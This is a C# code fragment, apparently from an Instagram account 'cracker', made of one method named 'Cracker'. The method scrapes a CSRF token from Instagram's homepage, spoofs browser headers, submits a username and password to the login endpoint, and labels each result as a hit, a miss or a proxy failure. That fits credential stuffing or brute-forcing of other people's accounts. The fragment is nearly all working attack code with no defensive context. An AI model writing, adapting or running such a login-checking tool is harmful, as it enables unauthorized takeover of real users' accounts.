Uri uri = new Uri("https://www.instagram.com/");
    CookieContainer _cookieJar = new CookieContainer();

    public string Cracker(string username, string password)
    {
        try {
            HttpWebRequest request1 = (HttpWebRequest)WebRequest.Create("https://www.instagram.com/");
            request1.CookieContainer = _cookieJar;
            request1.KeepAlive = true;
            request1.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0");
            request1.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
            request1.Headers.Add("Upgrade-Insecure-Requests", @"1");
            request1.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36";
            request1.Referer = "https://www.instagram.com/";
            request1.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, sdch");
            request1.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.8");

            HttpWebResponse response = (HttpWebResponse)request1.GetResponse();


            _cookieJar.Add(new Cookie("s_network", "") { Domain = uri.Host });
            _cookieJar.Add(new Cookie("ig_vw", "1164") { Domain = uri.Host });
            _cookieJar.Add(new Cookie("ig_pr", "1.100000023841858") { Domain = uri.Host });
            CookieCollection collection = _cookieJar.GetCookies(uri);
            Cookie c = collection[0];
            string cookie = c.ToString();
            string[] splitter = cookie.Split('=');

            HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.instagram.com/accounts/login/ajax/");
            request.CookieContainer = _cookieJar;
            request.KeepAlive = true;
            request.Headers.Add("Origin", @"https://www.instagram.com");
            request.Headers.Add("X-Instagram-AJAX", @"1");
            request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36";
            request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
            request.Headers.Add("X-CSRFToken", splitter[1]);
            request.Accept = "*/*";
            request.Headers.Add("X-Requested-With", @"XMLHttpRequest");
            request.Referer = "https://www.instagram.com/";
            request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
            request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.8");
            request.Method = "POST";
            request.ServicePoint.Expect100Continue = false;

            string body = @"username=" + username + "&password=" + password + "";
            byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
            request.ContentLength = postBytes.Length;
            Stream stream = request.GetRequestStream();
            stream.Write(postBytes, 0, postBytes.Length);
            stream.Close();

            HttpWebResponse response1 = (HttpWebResponse)request.GetResponse();
            Stream readResponse = response1.GetResponseStream();
            StreamReader sr = new StreamReader(readResponse);
            string finalresponse = sr.ReadToEnd();
            sr.Close();
            readResponse.Close();
            response1.Close();
            try {
                response1.Cookies["sessionid"].Expires = DateTime.Now.AddDays(-1);
                response1.Cookies["target"].Expires = DateTime.Now.AddDays(-1);
                response1.Cookies["ds_user_id"].Expires = DateTime.Now.AddDays(-1);
            }
            catch (Exception)
            {
                return "AccountDoesntExist";
            }

            if (finalresponse.Contains("authenticated=True"))
            {

                return "IsAccount";

            }

            else if (finalresponse.Contains("authenticated=False"))
            {
                return "IsNotAccount";
            }
            else
            {
                return "IsAccount";
            }
        }
        catch(Exception)
        {
            return "ProxyFail";
        }